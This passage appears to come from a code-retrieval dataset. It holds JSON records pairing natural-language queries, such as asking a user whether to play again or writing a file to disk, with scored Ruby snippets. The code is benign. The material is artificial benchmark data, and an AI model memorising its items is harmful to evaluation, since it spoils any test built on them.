"" }, { "docid": "d0ce97dab0a46cf77972e63866618177", "score": "0.5254668", "text": "def input_to_index(move_index)\r\n move_index = move_index.to_i - 1\r\n move_index\r\n end", "title": "" }, { "docid": "910199b8a0170f590be27a1349948cfb", "score": "0.5245034", "text": "def slow_dance(direction, tiles)\n tiles.each_with_index do |dir, idx|\n return idx if direction == dir\n end\nend", "title": "" }, { "docid": "32b55095f8fab174ad427eb4c65eec3e", "score": "0.5236716", "text": "def down_to_top_traversal_step(current_branch=@current_branch, vertical_cursor=@vertical_cursor)\n current_branch << vertical_cursor.item\n end", "title": "" }, { "docid": "e27b7de200685c51ca929d3711f958e5", "score": "0.52341247", "text": "def previous\n tokens[@current - 1]\n end", "title": "" }, { "docid": "35d6c0b9e0a2ca9712b160f507323e70", "score": "0.52328634", "text": "def next_offset\n next_offset = offset + limit\n return nil if next_offset >= total\n\n next_offset\n end", "title": "" }, { "docid": "649f699b95fd371704c347d694cf04f7", "score": "0.52327865", "text": "def previous_offset\n @previous_offset ||= if after\n offset_from_cursor(after)\n elsif before\n offset_from_cursor(before) - (last ? last : 0) - 1\n else\n 0\n end\n end", "title": "" }, { "docid": "c05343c49fdf5e9c116cd3a80bba3294", "score": "0.52319175", "text": "def input_to_index(index)\n index.to_i - 1 \nend", "title": "" }, { "docid": "705e205e342ea22238113baea8b1e428", "score": "0.5230185", "text": "def index_of(target)\n current = @head\n index = 0\n until current.nil?\n return index if current.value == target\n\n current = current.next\n index += 1\n end\n -1\n end", "title": "" }, { "docid": "85655edf4bddfec91b07bd9f9f2715a8", "score": "0.5230051", "text": "def prev\n\t\tself - 1\n\tend", "title": "" }, { "docid": "458c98481d7fdc6153e4c452d55eb974", "score": "0.5228129", "text": "def move_to_next_location(current)\n return nil if current < 0 || current > 7\n\n current = current.to_i\n range = @map[current].length - 1 unless @map[current].length <= 1\n # Randomly go to a neighboring location\n next_location = generator_rand(range.to_i)\n\n next_location += 1 if next_location.zero?\n\n puts \"Heading from #{@map[current][0]} to #{@map[current][next_location]}.\"\n\n result = @iterator.get_next_location(@map[current][next_location])\n result\n end", "title": "" } ]
7e0b5043f2e044d52020a4a330cf2a22
ask if user wants to play or not
[ { "docid": "f615995719b6822a9f5fb57d6619f768", "score": "0.0", "text": "def welcome()\n\t\tputs \"wanna play? y/n\"\n\t\tyesorno = \"\"\n\t\tyesorno = gets.chomp\n\t\tyesorno.downcase!\n\t\tif yesorno == \"y\"\n\t\t\tplayGame()\n\t\telsif yesorno == \"n\"\n\t\t\texitGame()\n\t else \n\t \tputs \"sorry, I didn't catch that\"\n\t \twelcome()\n\t\tend\n\tend", "title": "" } ]
[ { "docid": "6ca1fb436550f998f4641532d0d60b3e", "score": "0.81603456", "text": "def playing\n on = ask \"is_playing\"\n return false unless on\n [false, true][on.to_i]\n end", "title": "" }, { "docid": "011e14857364754ead4a053bd9a03603", "score": "0.7817206", "text": "def play\n\tputs (\"Would you like to play? (y/n)\")\n end", "title": "" }, { "docid": "5020340da7adcc317bcf4c807ea4443a", "score": "0.78030455", "text": "def playing?; end", "title": "" }, { "docid": "cde931dac9af15b7bbbc750b018393e3", "score": "0.7753759", "text": "def ask_to_play\r\n\t\tputs \"Would you like to play?\"\r\n\t\tplayer_choice = gets.chomp.upcase\r\n\r\n\t\tif player_choice == \"YES\"\r\n\t\t\r\n\t\telse\r\n\t\t\tputs \"Good Bye!\"\r\n\t\t\texit\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "7a4d01b682da0916cf5478c0131f7cec", "score": "0.74656606", "text": "def in_play?\n\t\t@in_play\n\tend", "title": "" }, { "docid": "0678e287991a8304061e7b2f8b8682f1", "score": "0.73713696", "text": "def want_to_play?\n puts \"Hello! Would you like to play a few games of Rock, Paper, Scissors? (type 'Y' or 'N')\"\n gets.chomp.upcase\n end", "title": "" }, { "docid": "5aae9c2b8b71b4cee9b83caa394a486f", "score": "0.7312986", "text": "def continue?\n puts \"Would you like to play again? (yes/no)\"\n require_yes_no == \"yes\" ? true : false\n end", "title": "" }, { "docid": "3d3fa40ded65a53f6314483964a6d4a4", "score": "0.7282383", "text": "def in_play!\n\t\t@in_play = true\n\t\tself\n\tend", "title": "" }, { "docid": "f79e37bf7bbe8b35d8ba984ad18f98f2", "score": "0.7279966", "text": "def playing=( play )\n if play\n ask \"play\", false\n else\n ask \"stop\", false\n end\n end", "title": "" }, { "docid": "241e216ebfbbb37baa3443d0c9da06f0", "score": "0.72533315", "text": "def playable?\n\t\tself.allow_play == true\n\tend", "title": "" }, { "docid": "f3a67ef71ae65a9003c3560e3fcdb6a5", "score": "0.7224566", "text": "def playing?\n !@paused\n end", "title": "" }, { "docid": "eb75ac4efada065d55d08b71843af3be", "score": "0.7207119", "text": "def in_play?\n status == IN_PLAY\n end", "title": "" }, { "docid": "6f0e42ff1e0d8d2e532f27c0ba0599b0", "score": "0.71980035", "text": "def offer_play\n puts 'Voulez-vous jouer encore une partie ?'.green\n response = gets.strip\n response = response.upcase\n if 'OUI' == response\n initialize_state\n play\n end\n end", "title": "" }, { "docid": "3a60f6b534a48b57932eccee51e6ec4a", "score": "0.7169029", "text": "def in_play?\n data.fetch('inplay')\n end", "title": "" }, { "docid": "5407871a13a00b21fd19d28e15036e9d", "score": "0.71446365", "text": "def playing?\n status[:state] == 'play'\n end", "title": "" }, { "docid": "961c17eaf473bced257ada8cabcd980d", "score": "0.7138541", "text": "def keep_playing\n puts \"Would you like to play another hand? Yes or no\"\n response = gets.chomp\n response.upcase!\n if response == \"YES\" || response == \"Y\"\n @flag = true\n elsif response == \"NO\" || response == \"N\"\n @flag = false\n else\n puts \"Invalid input\"\n keep_playing\n end\n end", "title": "" }, { "docid": "48336ef170decc2ea8e16f1ab6d2caaf", "score": "0.7134864", "text": "def play_music(bool)\n\t\t@music = bool\n\n\t\t_relativePATH = File.expand_path File.dirname(__FILE__)\n\n\t\tif @music === true\n\n\t\t\t$pid = Process.spawn \"while true; do afplay #{_relativePATH}/intro.mp3; done\"\n\n\t\telsif @music === false\n\t\t\t# Use sleep for testing music off. Music will continue to play until it hits the end of track\n\t\t\t# sleep(15)\n\t\t\tProcess.kill(15, $pid)\n\t\telse\n\t\t\tp \"Please enter a true or false parameter\"\n\t\tend\n\tend", "title": "" }, { "docid": "7fa5a9cb34087d7d757824876ab3fe40", "score": "0.7100966", "text": "def check_for_encore()\n\t\t@utils.get_input(\"Press 'y' if you want to play again, or any other key to quit\").strip.downcase == 'y'\n\tend", "title": "" }, { "docid": "9b957b4849164b16c29976982912550d", "score": "0.7075912", "text": "def continue_play?\n return @io.continue_play?(@game_num)\n end", "title": "" }, { "docid": "8d3f4fbfb37ea402bd5a09f1f32816a8", "score": "0.70223737", "text": "def ask_player_to_play(player)\n\t\tputs \"\"\n\t\tputs \"Au tour de #{player.name} de jouer !\"\n\t\tprint \"#{player.name}, sélectionne une case : \"\n\tend", "title": "" }, { "docid": "ab2d58b505ea52d56ec9cf35f69b48b1", "score": "0.69927883", "text": "def playing?\n status == 'playing'\n end", "title": "" }, { "docid": "39e2e707f297be9f9515c4cc126f833e", "score": "0.6992192", "text": "def play?\n loop do \n puts \"Are you ready to start?(y/n)\"\n answer = gets.chomp.downcase\n if answer == 'y' \n return true\n elsif answer == 'n'\n puts \"Maybe next time. Bye\"\n break\n end\n end\n end", "title": "" }, { "docid": "69ee1bf8497f361ae467fc31b7f1678f", "score": "0.6989119", "text": "def play_again?\n play_again = \"\"\n until play_again.downcase == \"n\" || play_again.downcase == \"no\"\n puts \"\\nWould you like to play again?\"\n play_again = gets.strip.downcase\n if play_again.downcase == \"y\" || play_again.downcase == \"yes\"\n start\n end\n end\n end", "title": "" }, { "docid": "409f1c3ee591e6289d296f89306c644d", "score": "0.6969882", "text": "def play_again?()\n keep_playing = true\n # keep playing unless user enters 'y' to quit\n puts \"Play again? (Y/N)\"\n keep_playing = false if gets.chomp.downcase != 'y' \n return keep_playing\nend", "title": "" }, { "docid": "fd9904b4d6887afb21a9a3fa36f6a7ec", "score": "0.69626653", "text": "def play_again?()\n # keep playing unless user enters 'y' to quit\n puts \"Play again? (Y/N)\"\n @keep_playing = false if gets.chomp.downcase != 'y' \n return @keep_playing\n end", "title": "" }, { "docid": "976c37939bf9ad96fab379644e0b69c9", "score": "0.6941602", "text": "def not_in_play!\n\t\t@in_play = false\n\t\tself\n\tend", "title": "" }, { "docid": "b913d27f2a1aed4fd30ada0168bd3454", "score": "0.6939729", "text": "def play\n question\n check_answer\n end", "title": "" }, { "docid": "3349d176d8642fa656a5f992a61cc05d", "score": "0.69397163", "text": "def play\n unless playing?\n play_or_pause\n end\n end", "title": "" }, { "docid": "f0b73832bb1eba71621eeac36ee449f1", "score": "0.6933842", "text": "def playing?\n currently_playing[:filename] == \"[Nothing Playing]\" ? false : (true && !paused?)\n end", "title": "" }, { "docid": "51ee6af64a12170d42db6d9631d11034", "score": "0.69307417", "text": "def play_again_check\n\t\tputs \"Would you like to play again?\"\n\t\tinput = gets.chomp.downcase\n\t\tif input != \"no\" && input != \"n\"\n\t\t\tif input == \"yes\" || input == \"y\"\n\t\t\t\t@players.reverse!\n\t\t\t\tplay\n\t\t\telse\n\t\t\t\tputs \"Respond yes or no\"\n\t\t\t\tplay_again_check\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "7b53404c3a2a100787795588c0af098b", "score": "0.6929056", "text": "def autoplay\n @played = [:Rock, :Paper, :Scissors].select\n @has_played = true\n end", "title": "" }, { "docid": "50487b22b4aea143b3c9bc851dc60385", "score": "0.6923653", "text": "def play(looping=false); end", "title": "" }, { "docid": "f32ecdea06713619c6bd7978aefcd451", "score": "0.6922132", "text": "def play\n\t\twelcome\n\t\tset\n\t\tinput = ''\n\t\tloop do\n\t\t\tputs \"Enter to play again or '(Q)UIT' to stop\"\n\t\t\tinput = gets.chomp.upcase\n\t\t\texit if input == 'Q' or input == \"QUIT\"\n\t\t\treset\n\t\t\tset\n\t\tend\n\tend", "title": "" }, { "docid": "447e6438b544d78e95174079b7256204", "score": "0.69095665", "text": "def music_select\n Sound.play_ok\n case @command_window.item\n when :play_bgm, :play_music\n start_play(@command_window.item == :play_bgm)\n when :battle_bgm\n set_battle_bgm\n when :battle_me\n set_battle_me\n else\n # type code here\n end\n end", "title": "" }, { "docid": "409922b7e0cf04b08c21686f3b18dec8", "score": "0.6901576", "text": "def playing?\n\t @playing ||= false\n\t end", "title": "" }, { "docid": "89f0fb446f198b2c52d872b05b676351", "score": "0.6900735", "text": "def user_win_condition\n #condition to win\n #condition to draw\n #option to play again or quit\n #initialize\n #start\n end", "title": "" }, { "docid": "7c6f030fee4f950e97b5ea514120c7fa", "score": "0.6890615", "text": "def play\n\t\t\twhile (win? || tie?) == false\n\t\t\t\twhose_turn\n\t\t\t\tchoice\n\t\t\t\tcheck\n\t\t\t\tmark_choice\n\t\t\t\twin?\n\t\t\t\ttie?\n\t\t\t\t@turn += 1\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "76c2dd73a2b8c91b34fccd6672f2dec5", "score": "0.68780535", "text": "def play_again\n\tputs 'Would you like to play again? Type y or n'\n\tplay_game if gets.chomp.downcase == 'y'\n\t\tend", "title": "" }, { "docid": "703e03e72a1875b4fcd7cefb88266c1a", "score": "0.6876143", "text": "def is_playing?\n !@paused\n end", "title": "" }, { "docid": "d5d943f0d6b5c9e95b1fb2eabca648e8", "score": "0.6869812", "text": "def hMode(checkUserInput)\n @checkUserInput = checkUserInput\n if(@checkUserInput == 0)\n play()\n else\n while(@done == 0)\n play()\n end\n end\n end", "title": "" }, { "docid": "1cc857c4d7b20267cbd7cc6d94c46c2a", "score": "0.6869126", "text": "def play(looping = false); end", "title": "" }, { "docid": "54f734969466690d404a039ff1311de9", "score": "0.68618023", "text": "def play_again?\n print \"\\nWould you like to play again? (Y/N)]\\n>> \"\n input = gets.chomp.downcase\n input == \"y\"\n end", "title": "" }, { "docid": "fca7574839b1688eb96c97e3a6295b0c", "score": "0.68608344", "text": "def play_again?\n\t\tuser_input = ''\n\t\tputs \"Do you wish to play again? (y/n)\"\n\t\tuser_input = gets.chomp.downcase\n\t\tuser_input.include?('y') ? true : false\n\tend", "title": "" }, { "docid": "b66b1ded662487e89e5ba66efe61a426", "score": "0.6855821", "text": "def play_again\n print \"Do you want to play again?(y/n): \"\n get_choice\n start_or_end\n end", "title": "" }, { "docid": "2aac801fe90182eefadb052a13b36b11", "score": "0.6854358", "text": "def play_again?\n\t\tputs \"\\nDo you want to play again? (Y/N)\"\n\t\tchoice = gets.strip\n\t\twhile choice != \"Y\" && choice != \"N\"\n\t\t\tputs \"Please type Y or N\"\n\t\t\tchoice = gets.strip\n\t\tend\n\t\tchoice\n\tend", "title": "" }, { "docid": "7c1f37feb319c9f3731008bff90f0128", "score": "0.6827513", "text": "def play_again\n\tputs \"Hit any key to play again #{colourize(\"(0 to quit)\", \"red\")}:\"\n\tplay = gets.chomp\n\tif play == \"0\"\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "ee4c17ed734c40e4cb1846a74e8e8d2e", "score": "0.6815036", "text": "def ask_play\n\tputs \" - tu joue quoi #{@name} ? (Donne les coordonnees comme à la bataille navale, ex : a2, b3, c1, etc.) \"\n\t@answer_play = gets.chomp #on enregistre la reponse du joueur dans @answer_play.\n end", "title": "" }, { "docid": "c6a7a5d705f1bc34a8ded9baa94ca5e5", "score": "0.68111527", "text": "def play\n puts \"Enter a song number or enter the artist and song title, as shown in the list above\\n\"\n user_input = gets.chomp\n if (1..self.songs.count).to_a.include?(user_input.to_i)\n puts \"Now playing: #{self.songs[user_input.to_i - 1]}\"\n elsif self.songs.include?(user_input)\n puts \"Now playing #{user_input}\"\n else\n puts \"sorry, please enter a valid song or type 'help' for more options.\"\n end\n end", "title": "" }, { "docid": "4feaf040c2d7f7da99491924651903e1", "score": "0.6782439", "text": "def playing?\n @active && !@paused\n end", "title": "" }, { "docid": "e03b745d71cef150bfcfe111c59443b9", "score": "0.6771058", "text": "def play_existing_album()\r\n puts(\"You selected Play Existing Album. Press enter to continue\")\r\n gets()\r\nend", "title": "" }, { "docid": "1002f04bde31e84912421b8d017cd5c8", "score": "0.6767728", "text": "def play_inline?(cmd)\n if cmd.action == \"play\"\n return true if cmd.params.all?{|p| p.type == :number }\n if cmd.params.size == 1\n p = cmd.params.first\n return p.type == :object && p.value == :song\n end\n end\n\n return false\n end", "title": "" }, { "docid": "5838aa4f5dd31362ceb57d3571e396a0", "score": "0.6767307", "text": "def ready_to_play?\n player1 and player2\n end", "title": "" }, { "docid": "4db69ec3bd22f9024190bef244cf920d", "score": "0.6757574", "text": "def paused?\n !playing?\n end", "title": "" }, { "docid": "ba50eb98c17b3b4d6e379d5036cc89ab", "score": "0.67497903", "text": "def play_again?\n\t\tplay_again = VR::Dialog.ok_box(\"Would you like to play again\")\n\n\t\tif play_again\n\t\t\treset_board\n\t\t\tif current_player_is_a_bot?\n\t\t\t\tbot_move\n\t\t\tend\n\t\telse\n\t\t\tquit\n \t\tend\n\tend", "title": "" }, { "docid": "945d0b55afefc58251c8bed674328ddd", "score": "0.6741139", "text": "def play\n puts \"Are you thinking of '#{self.value}' by any chance? (Y/N)\"\n if gets.chomp =~ /Y|y/\n puts 'Awwwwwwwwwwwwwwwwww yea, givin Stephen Hawking a run for his money now!'\n self\n else\n puts 'IMPOSSIBRU!!!!!!'\n learn_new_thang\n end\n end", "title": "" }, { "docid": "9785ff61e6d0756595f8ed952f2c6872", "score": "0.673961", "text": "def play_again\n\t \tputs \"Do you want to play again ? yes or no ?\"\n\t \tanswer = gets.chomp\n\t \t\tif answer == \"yes\"\n\t \t\tputs \"Here we go again\"\n\t \t\tGame.new.go\n\t \t else puts \"That is OK, we can stop playing\"\n\t \t\tend\n\tend", "title": "" }, { "docid": "e9257ce15269358b47071174c99e9d08", "score": "0.6735113", "text": "def play_again\n\t\tputs \"\\nPlay again ('yes' or 'no')?\"\n\t\tresponse = gets.chomp.strip.downcase\n\t\tif response == \"yes\"\n\t\t\tinitialize\n\t\telsif response == \"no\"\n\t\t\tputs \"\\nGoodbye!\\n\\n\"\n\t\telse\n\t\t\tinvalid_input\n\t\t\tplay_again\n\t\tend\t\t\t\t\n\tend", "title": "" }, { "docid": "c9c33758474a280a11bfeea9c6ea6153", "score": "0.67288476", "text": "def played?\n played\n end", "title": "" }, { "docid": "1cdf29cf4e784a84a4ec90cd46a1f24b", "score": "0.67222327", "text": "def play_again?\n\t\twhile true\n\t\t\tplay_again = Mastermind::get_user_input(\"Play again (y/n): \")\n\t\t\tcase play_again.downcase\n\t\t\twhen 'y', 'yes' then return true\n\t\t\twhen 'n', 'no' then return false\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "0bbc44d9f1de80714e2fea54e10a7844", "score": "0.67179734", "text": "def still_playing?\n @playing\n end", "title": "" }, { "docid": "fea861b2d440089a2441a187893c45db", "score": "0.67163277", "text": "def play\n\t\twhile true\n\t\t\tplay_game\n\t\t\tbreak unless play_again?\n\t\tend\n\t\tputs \"Thanks for playing\"\t\n\tend", "title": "" }, { "docid": "848a9d3980b12ab46234d5934154280c", "score": "0.66636187", "text": "def play_again?\n\t\tentry = nil\n\t\tuntil entry != nil\n\t\t\tprint \"\\nWould you like to play again? \"\n\t\t\tentry = case gets.chomp.downcase\n\t\t\t\twhen \"yes\", \"y\" then true\n\t\t\t\twhen \"no\", \"n\" then false\n\t\t\t\telse nil\n\t\t\tend\n\t\t\tputs \"That is not a valid option, yes or no\" if entry.nil?\n\t\tend\n\t\tentry\n\tend", "title": "" }, { "docid": "c3cb3bfbd1438e003c2b4dec887df679", "score": "0.66560197", "text": "def playing?\n (SDL::Mixer.Playing(@channel) == 1) and not paused?\n end", "title": "" }, { "docid": "5f28f0253b6c49f20ef7d558d9525e6f", "score": "0.66501796", "text": "def play\n answer = nil\n until answer == \"yes\" || answer == \"no\"\n puts \"Do you want to play bingo? (yes or no)\"\n answer = gets.chomp\n puts \"\"\n end\n\n if answer == \"yes\"\n self.display_board\n keep_going = \"yes\"\n while keep_going == \"yes\"\n puts \"Do you want to keep playing bingo? (yes or no)\"\n keep_going = gets.chomp\n puts \"\"\n\n if keep_going == \"yes\"\n stamp_location = nil\n until stamp_location != nil\n potential_stamp = self.call\n puts \"Do you have #{potential_stamp} ?\"\n sleep(0.025)\n stamp_location = self.check(potential_stamp)\n end\n\n puts \"\"\n self.replace(stamp_location)\n self.display_board\n end\n end\n\n end\n end", "title": "" }, { "docid": "f43a3a9547a6130dcec02f14281a1801", "score": "0.66500455", "text": "def still_playing?()\n\t\t\t@playing\n\t\tend", "title": "" }, { "docid": "145aaf4926eff60d42c0637278f97494", "score": "0.6648333", "text": "def play_again?\n while true\n play_again = (get_response_for \"Play again (y/n)\").downcase\n case play_again\n when 'y', 'yes' then return true\n when 'n', 'no' then return false\n end\n end\n end", "title": "" }, { "docid": "036cef0b1b931a09aeba906ab27e394a", "score": "0.6643703", "text": "def unplayed?\n !played\n end", "title": "" }, { "docid": "ce9972df2cf76c11b25b8a161b7c92de", "score": "0.6642852", "text": "def try_again?\n puts ' ...try again?'\n print '(y/n): '\n input = gets.chomp.upcase\n @play = input == 'Y'\nend", "title": "" }, { "docid": "ebc27264b2733925517235055057829c", "score": "0.66334414", "text": "def white_to_play?\n\t\t\t@to_play == WHITE\t\n\t\tend", "title": "" }, { "docid": "ed7ceaba2148e4e9fd6e79f5776d6690", "score": "0.66327846", "text": "def play_again?\n\t\tputs \"\\nPlay again? (Y/N):\"\n\t\tprompt = gets.chomp\n\t\treturn prompt.to_s.downcase == \"y\"\n\tend", "title": "" }, { "docid": "9f08bae92650f503a884753a0f6e2cae", "score": "0.6626914", "text": "def start_play?\n !match.started\n end", "title": "" }, { "docid": "ce116fa803ffb6578b1513c1885b4e08", "score": "0.66240495", "text": "def play()\r\n\t\t\tcase type\r\n\t\t\t\twhen 1\r\n\t\t\t\t\tplay_one()\r\n\t\t\t\twhen 2\r\n\t\t\t\t\tplay_two()\r\n\t\t\t\twhen 3\r\n\t\t\t\t\tplay_three()\r\n\t\t\tend\r\n\t\tend", "title": "" }, { "docid": "7296862f35829a5b333dc52912b7a91e", "score": "0.6615365", "text": "def played?\n !(@state =~ /default/)\n end", "title": "" }, { "docid": "2224fa7bee64b069755bb593d0871c63", "score": "0.6600007", "text": "def process_ok\n if current_item_enabled?\n Sound.play_ok\n Input.update\n deactivate\n call_ok_handler\n else\n Sound.play_buzzer\n end\n end", "title": "" }, { "docid": "2224fa7bee64b069755bb593d0871c63", "score": "0.6600007", "text": "def process_ok\n if current_item_enabled?\n Sound.play_ok\n Input.update\n deactivate\n call_ok_handler\n else\n Sound.play_buzzer\n end\n end", "title": "" }, { "docid": "5d6b72d83ccafe738eb7b8e649b63885", "score": "0.6590543", "text": "def leavable?\n status != 'playing' && status != 'ended'\n end", "title": "" }, { "docid": "8c52911f63c27f7c36d49216d91bf22f", "score": "0.65796906", "text": "def play_again\n puts \"Play again? y/n:\"\n input = gets.strip.upcase\n if input == \"Y\"\n self.start\n elsif input == \"N\"\n exit\n else\n play_again\n end\n end", "title": "" }, { "docid": "0e24eb5f14b5a109142db1f7ece33b36", "score": "0.657585", "text": "def play_again\n print \"Do you want to play again ? (Y/n)\"\n STDOUT.flush\nresponse = gets.chomp\ncase response\nwhen \"Y\" || \"y\" then Game.new.play\nwhen \"N\" || \"n\" then abort!\nend \nend", "title": "" }, { "docid": "fbd608f2ef5a2118e88778ab7b377d73", "score": "0.65740895", "text": "def want_to_play_again?\n\t\tputs\n\t\tputs \"Do you want to play again? y or n\"\n\t\tputs\n\t\tplay_again = gets.chomp.downcase\n\t\tif play_again == \"n\"\n\t\t\t@this_turn = @max_turns + 1\n\t\telse\n\t\t\t@letters_remain = true\n\t\t\t@bad_guesses = 0\n\t\tend #if\n\tend", "title": "" }, { "docid": "9435cf15f17f1e04b04b8b1e8e958311", "score": "0.6573974", "text": "def play_again?\n puts \"Want to play agian? (y/n)\"\n choice = gets.chomp.downcase.to_s\n until [\"y\", \"n\"].include?(choice)\n puts \"Please choose 'Y' or 'N'.\"\n choice = gets.chomp.downcase.to_s\n end\n if choice == \"y\"\n play\n else\n puts \"Thats ok Bye!\"\n end\nend", "title": "" }, { "docid": "afec6311282c5bd6c266372e00d0f164", "score": "0.6572951", "text": "def ask_player\n answer = gets.chomp\n if answer == 'yes'\n puts 'Lets Play!'\n return true\n else\n puts 'whatever'\n return false\n end\nend", "title": "" }, { "docid": "18127921bd810b98973413d585080bba", "score": "0.6568438", "text": "def process_ok\r\n if current_item_enabled?\r\n Sound.play_ok\r\n Input.update\r\n deactivate\r\n call_ok_handler\r\n else\r\n Sound.play_buzzer\r\n end\r\n end", "title": "" }, { "docid": "3632a40cbc0fd2b225d2ffcd9ef015b0", "score": "0.65675294", "text": "def act_readygo\r\n @time += 1\r\n\r\n if @time > 120\r\n @state = :playing\r\n SDL::Mixer.play_music(@bgm,-1)\r\n end\r\n end", "title": "" }, { "docid": "3da662ad74f4bf5968718fe03a13a0f4", "score": "0.65574545", "text": "def played?\n @played\n end", "title": "" }, { "docid": "14af5957415021d2952288a72f1f75b5", "score": "0.6544065", "text": "def playpause\n paused? ? play : pause\n end", "title": "" }, { "docid": "fc9f4fee1116058bda7b4577a6f0ee42", "score": "0.6540517", "text": "def play_again?\n puts \"Would you like to play again? y/n?\"\n answer = gets.chomp\n case answer\n when \"n\"\n false\n when \"y\"\n true\n end\n end", "title": "" }, { "docid": "13d99b38b3745b34910cab917d5d215c", "score": "0.6530521", "text": "def able_to_play?\n second_part? || !hands.hand(player).empty?\n end", "title": "" }, { "docid": "43da6ee5a3a8afe2403b5328a1e7bb24", "score": "0.6525418", "text": "def play_again\n\n puts \"\\nWould you like to play again? (y/n)\"\n again = gets.strip.upcase\n\n if again == \"Y\" || again == \"YES\"\n start\n else\n exit_game\n end\n end", "title": "" }, { "docid": "538e3220849c58310524934616df5733", "score": "0.65251774", "text": "def quit_play\n STDOUT.print \"Are you sure? Please respond YES or NO: \"\n return unless STDIN.gets.chomp.upcase == \"YES\"\n self.quit_status = true\n puts \"\\n#{state.current_player} has quit!\"\n end", "title": "" }, { "docid": "85c0265c50ef229a5d95e5ef50cdde86", "score": "0.6518185", "text": "def play_again\n puts \"Play Again?\"\n yn = gets.chomp.downcase\n if yn == \"yes\"\n run\n else\n puts \"Thanks for playing, Goodbye.\"\n end\nend", "title": "" }, { "docid": "47ee4ae653d0b5525bc6ce177cc52ff3", "score": "0.65084", "text": "def is_player?\r\n return false\r\n end", "title": "" }, { "docid": "750c793522c150f06d368032a3c5f0cc", "score": "0.65052104", "text": "def playing?\n self.game_status == STATUS_PLAYING\n end", "title": "" }, { "docid": "706776a1290b6ac988b00e87b80b1913", "score": "0.6497517", "text": "def play\n while not game_over?\n current_player = @turn_manager.current_player\n target_player = @turn_manager.target_player\n \n q = Question.new\n \n puts \"\\n-----NEW TURN------\"\n puts \"#{current_player.name}: #{q.ask_question}\"\n print_and_flush(\"> \") \n input = gets.chomp.to_i\n\n if q.check_answer(input) == true \n puts \"#{current_player.name}: YES! You are correct.\"\n swap_players\n print_summary\n end\n if q.check_answer(input) == false\n puts \"#{current_player.name}: Seriously? No!\"\n current_player.take_dmg\n swap_players\n print_summary\n\n end\n end \n\n \n\n end", "title": "" }, { "docid": "e298e56912f7bc0f615c3771c3acf5f7", "score": "0.6491727", "text": "def play_one\r\n\t\tend", "title": "" }, { "docid": "dcc552f0669239ac47c4e4eeb9932e5e", "score": "0.64834964", "text": "def prompt_player\n puts \"Who's playing\"\n gets.chomp!\n end", "title": "" }, { "docid": "ae85f749309a52e0fa2d24c83a1a0ddd", "score": "0.6483273", "text": "def play_again\n\n puts \"\\nWould you like to play again? (y/n)\"\n again = gets.strip.upcase\n\n if again == \"Y\" || again == \"YES\"\n start\n else\n exit_game\n end\nend", "title": "" }, { "docid": "473a0395830a3f86dbb342cb711390b2", "score": "0.64738905", "text": "def play\n browser.wait_until{btn_play.present? or btn_pause.present?}\n if btn_play.present?\n btn_play.click\n end\n end", "title": "" }, { "docid": "929a56535030e0133ecb1bb594a3fff0", "score": "0.64714336", "text": "def play_again?\n loop do\n puts \"Would you like to play again #{human.name} ? (y/n)\"\n answer = gets.chomp.downcase\n return answer == 'y' if ['y', 'n'].include?(answer)\n puts \"Sorry, must enter y or n\"\n end\n end", "title": "" }, { "docid": "aa395cb6290cd6606b6b964c7a735a1b", "score": "0.6469095", "text": "def play\n welcome_msg\n loop do\n human.choose\n computer.choose\n display_winner\n break if play_again? != true\n end\n end", "title": "" }, { "docid": "dc23c22fd1597a46b3bd20d025573ab3", "score": "0.6464931", "text": "def speak\n true\n end", "title": "" }, { "docid": "b0d0717594f80800f62cf5a9d92156bf", "score": "0.64557976", "text": "def play\n\t\t#check the win condition here, and skip play input if it's true\n\t\tif @board.winner\n\t\t\t@scroll += 2 unless @scroll > 200\n\t\telse\n\t\t\tif @turn == 0\n\t\t\t\t#on player turns, see the player's opinion\n\t\t\t\tif @player.take_turn == \"end\"\n\t\t\t\t\t@turn = 1\n\t\t\t\t\tputs \"computer turn\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t#on any other turn, it's the computer's chance to shine\n\t\t\t\tif @computer.take_turn == \"end\"\n\t\t\t\t\t@turn = 0\n\t\t\t\t\tputs \"player turn\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" } ]
d12ce89cab54df3fc0a69bee8e95fcc1
write the file to the specified disk location
[ { "docid": "e2d63db9e43f4190d0d6e415c500ff7f", "score": "0.0", "text": "def publish\n unpublish\n File.open(full_xml_file_path, 'w') do |f|\n f.write self.to_xml\n end\n end", "title": "" } ]
[ { "docid": "4ab951ebf6ec098d9200f2d05447c902", "score": "0.7183728", "text": "def save_file!\n location = target\n check_file_parents(location)\n f = File.open(Pathname.new(location).expand_path, 'w')\n print \"Writing to #{location}...\"\n puts f.write(get_file!).to_s\n f.close\n end", "title": "" }, { "docid": "d78e4bf41cbd209df1a4c918c7af9962", "score": "0.7153545", "text": "def write_to(filename); end", "title": "" }, { "docid": "d78e4bf41cbd209df1a4c918c7af9962", "score": "0.7153545", "text": "def write_to(filename); end", "title": "" }, { "docid": "9998e92d17c1d2554db860e94f3d5872", "score": "0.71017295", "text": "def write_file(path)\r\n\t\t\topen(path, \"w\") do |io| \r\n\t\t\t\twrite io\r\n\t\t\tend\r\n\t\tend", "title": "" }, { "docid": "2e5543b79e9c976e148d1912836989bc", "score": "0.70455027", "text": "def write(loc = @filename)\n @save.write(File.open(loc, \"wb\"))\n verify_checksums\n end", "title": "" }, { "docid": "26bb5ed490810a5983f553bd496ab273", "score": "0.69693786", "text": "def write\n write_file\n end", "title": "" }, { "docid": "54f76a31d085a61e1b530671f30e1d62", "score": "0.6918694", "text": "def write(file); end", "title": "" }, { "docid": "90bc39a7cc0e6cd282eeb046fc027002", "score": "0.68906", "text": "def writeFile path, content\n p = Pathname.new(path)\n blah \"Writing #{p}\"\n p.open(\"w\") { |f| f.write(content) }\n end", "title": "" }, { "docid": "54bd8ae7e61c3888e6e778d601d1d9d1", "score": "0.6850472", "text": "def write_to(path,str);end", "title": "" }, { "docid": "54bd8ae7e61c3888e6e778d601d1d9d1", "score": "0.6850472", "text": "def write_to(path,str);end", "title": "" }, { "docid": "6a2aea3297d52bad1a36b95d371b5bd0", "score": "0.6824496", "text": "def write(to_write)\n return @file.syswrite(to_write) \n end", "title": "" }, { "docid": "639b9f0167c3788cf9714bbd84313dec", "score": "0.6800647", "text": "def write_file(path)\n File.open(path, 'wb') do |f|\n write_io(f)\n end\n end", "title": "" }, { "docid": "95ea3f7bdc959d791157a2badfe36975", 